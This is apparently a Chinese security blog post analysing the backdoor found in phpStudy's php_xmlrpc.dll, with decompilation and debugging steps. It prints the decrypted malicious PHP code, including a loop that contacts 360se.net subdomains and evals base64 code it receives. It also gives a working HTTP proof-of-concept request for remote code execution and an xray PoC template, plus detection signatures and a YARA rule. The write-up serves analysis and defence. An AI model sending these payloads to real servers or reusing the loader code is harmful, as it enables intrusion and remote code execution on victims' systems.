PHPStudy后门动态调试分析

iso60001  1668天前
本文由作者shenyi编写

近期,国内知名的PHP环境集成程序包phpStudy被曝出存在后门,疑似遭遇供应链攻击。程序包自带的PHP模块中的php_xmlrpc.dll文件隐藏有后门。经过分析该后门除了反向连接木马之外,还可以正向执行任意代码,危害巨大。

影响版本

Phpstudy 2016中的php5模块

php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

 

Phpstudy 2018中的php5模块

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

 

下文将对后门所涉及的dll进行详细分析。

分析过程

1、定位特征字符串位置

2、静态分析传参数据

3、动态调试构造传参内容

php_xmlrpc.dll

PHPstudy 2018与2016两个版本的里的PHP5.2与PHP5.4版本里的恶意php_xmlrpc.dll后门一致。

定位特征字符串位置

根据@eval()这个代码执行函数定位到引用位置。@是PHP提供的错误信息屏蔽专用符号。Eval()可执行php代码,中间%s格式符为字符串传参。函数地址为:0x100031F0


22.png

图1:eval特征代码

静态分析传参数据

通过F5查看代码,分析代码流程,判断条件是有全局变量且有HTTP_ACCEPT_ENCODING的时候会进入内部语句。接下来有两个主要判断来实现正向连接和反向连接的操作,主要有以下两个部分。

第一部分,正向连接:判断ACCEPT_ENCODING如果等于gzip,deflate,读取ACCEPT_CHARSE的内容做base64解密,交给zend_eval_strings()函数,执行任意恶意代码。

构造HTTP头,把Accept-Encoding改成Accept-Encoding:gzip,deflate可以成功触发。

GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs= ….

 

第二部分,反向连接:判断ACCEPT_ENCODING是否等于compress,gzip,通过关键代码@eval(gzuncompress('%s'));可以看到拼接了一段恶意代码,然后调用gzuncompress方法执行解密。

通过构造HTTP头,把Accept-Encoding改成Accept-Encoding: compress,gzip可以成功触发。

 

GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding:compress,gzip
….

 

33.png

图2:第1部分流程判断代码

44.png

图3:第2部分流程判断代码

 这一部分有两处会执行zend_eval_strings函数代码的位置。分别是从1000D66C到1000E5C4的代码解密:

@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){    
        $result = "";  
     $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  
     if( !$handle ){    
         $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);    
         if( !$handle ){
             return "err";
         }
       }
       fwrite($handle, $sendMsg."\n");
          while(!feof($handle)){
              stream_set_timeout($handle, 2);        
              $result .= fread($handle, 1024);        
              $info = stream_get_me ta_data($handle);
              if ($info['timed_out']) {
                   break;
              }
          }  
       fclose($handle);
       return $result; }
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
         $n = false;
         foreach ($ds as $d){
                $b = false;        
                foreach ($ps as $p){
                     $result = tcpGet($i,$d.".360se.net",$p);
                     if ($result != "err"){
                               $b =true;
                               break;
                     }
              }        
                 if ($b)break;
          }    
          $info = explode("<^>",$result);
          if (count($info)==4){
                 if (strpos($info[3],"/*Onemore*/") !== false){
                           $info[3] = str_replace("/*Onemore*/","",$info[3]);
                           $n=true;
                  }        
                  @eval(base64_decode($info[3]));
          }
}while($n);
```

 

55.png

 

1000D028 1000D66C的代码解密:

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
 } else {
     $out = "GET {$_SERVER['sc ript_NAME']} HTTP/1.1\r\n";    
     $out .= "Host: {$h}\r\n";
     $out .= "Accept-Encoding: compress,gzip\r\n";
     $out .= "Connection: Close\r\n\r\n";
     fwrite($fp, $out);     fclose($fp);
}
```


66.png

动态调试构造传参内容

OD动态调试传参值需要对httpd.exe进程进行附加调试,phpstudy启用的httpd进程有两个。一个是带有参数的,一个是没有带参数的。在下断的时候选择没有参数的httpd.exe下断才能触发后门。

 

根据前面IDA静态分析得到的后门函数地址,OD附加进程后从httpd.exe调用的模块里找到php_xmlrpc.dll模块,在DLL空间里定位后门函数地址0x100031F0,可能还需要手动修改偏移后下断点。使用burpsuite,构造Accept-Encoding的内容。发包后可以动态调试。建立触发点的虚拟机快照后可以反复跟踪调试得到最终可利用的payload。


77.png

图4:OD动态调试Payload

PHP脚本后门分析

脚本一功能:使用fsockopen模拟GET发包

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
 } else {
     $out = "GET {$_SERVER['sc ript_NAME']} HTTP/1.1\r\n";    
     $out .= "Host: {$h}\r\n";
     $out .= "Accept-Encoding: compress,gzip\r\n";
     $out .= "Connection: Close\r\n\r\n";
     fwrite($fp, $out);
     fclose($fp);
}
```

脚本二功能:

内置有域名表和端口表,批量遍历然后发送数据。注释如下:

<?php
@ini_set("display_errors","0");
error_reporting(
0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
   
$result = "";
   
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);  // 接收数据,每次过来一条数据就要连接一次
     
if( !$handle ){
       
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);  //错误的时候就重连一次测试。
       
if( !$handle ){
           
return "err";
        }
    }
    fwrite(
$handle, $sendMsg."\n");         // 模拟发送数据
   
while(!feof($handle)){
        stream_set_timeout(
$handle, 2);
       
$result .= fread($handle, 1024);   // 读取文件
       
$info = stream_get_me ta_data($handle);     // 超时则退出
       
if ($info['timed_out']) {
           
break;
        }
    }
    fclose(
$handle);
   
return $result;
}

$ds = array("www","bbs","cms","down","up","file","ftp");   // 域名表
$ps = array("20123","40125","8080","80","53");             // 端口表
$n = false;
do {
   
$n = false;
   
foreach ($ds as $d){                                   //遍历域名表
       
$b = false;
       
foreach ($ps as $p){                               // 遍历端口表
           
$result = tcpGet($i,$d.".360se.net",$p);
           
if ($result != "err"){
               
$b =true;
               
break;
            }
        }
        
if ($b)break;
    }
   
$info = explode("<^>",$result);
   
if (count($info)==4){
       
if (strpos($info[3],"/*Onemore*/") !== false){
           
$info[3] = str_replace("/*Onemore*/","",$info[3]);
           
$n=true;
        }
        @
eval(base64_decode($info[3]));
    }
}
while($n);

?>  

 

POC

熟悉原理后可根据执行流程构造执行任意代码的Payload:

GET /index.php HTTP/1.1
Host: 192.168.221.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0 Accept-Language: zh-CN,zh;q=0.9
Connection: close
```  
Payload:printf(md5(333));
回显特征:310dcbbf4cce62f762a2aaa148d556bd

 


88.png

图5:Payload回显验证

漏洞验证插件

漏洞插件采用长亭科技xray社区漏洞扫描器。虽然现今网络上好多放出来的批量poc,我还是觉得使用长亭的插件写poc,省了好多心力去考虑写各种代码,把主要精力专注到漏洞分析和写poc上。

name: poc-yaml-phpstudy-backdoor-rce
rules:  
    - method: GET    
      path: /index.php   
      headers:      
      Accept-Encoding: 'gzip,deflate'
      Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==
     follow_redirects: false
     ex pression: |
       body.bcontains(b'a5952fb670b54572bcec7440a554633e')
detail:
   author: 17bdw
   Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
   vuln_url: "php_xmlrpc.dll"
   links:
     - https://www.freebuf.com/column/214946.html

 

网络特征

Accept-Encoding:gzip,deflate    少一个空格
Accept-Charset:为base64编码

 

文件特征

特征一、
%s;@eval(%s('%s'));   25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B
特征二、
@eval(%s('%s'));     40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B    
rule PhpStudybackdoor
{

me ta:

filetype=" PhpStudybackdoor "
desc ription=" PhpStudybackdoor check"
strings:
$a1 = "@eval(%s('%s'));"
$a2 =”
%s;@eval(%s('%s'));
condition:
any of ($a*)

}
 

受影响站点

```
http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
http://www.smzy.com/smzy/down319529.html
https://www.jb51.net/softs/601577.html
http://www.mycodes.net/16/5051.htm
http://www.3322.cc/soft/40663.html
http://www.3h3.com/soft/131645.html
http://www.downyi.com/downinfo/117446.html
http://www.pc9.com/pc/info-4030.html
https://www.newasp.net/soft/75029.html
http://www.downxia.com/downinfo/153379.html
https://www.33lc.com/soft/21053.html
http://www.xfdown.com/soft/11170.html#xzdz
http://www.wei2008.com/news/news/201817035.html
http://www.188soft.com/soft/890860.html
http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
```

 

参考

PhpStudyGhost后门供应链攻击事件及相关IOC

https://www.freebuf.com/column/214946.html

      2019关于phpstudy软件后门简单分析

https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw

 phpstudy后门文件分析以及检测脚本

https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw

       Phpstudy官网于2016年被入侵,犯罪分子篡改软件并植入后门

https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw

 phpstudy后门文件分析以及检测脚本

https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw

  phpStudy隐藏后门预警

https://www.cnblogs.com/0daybug/p/11571119.html

最新评论

昵称
邮箱
提交评论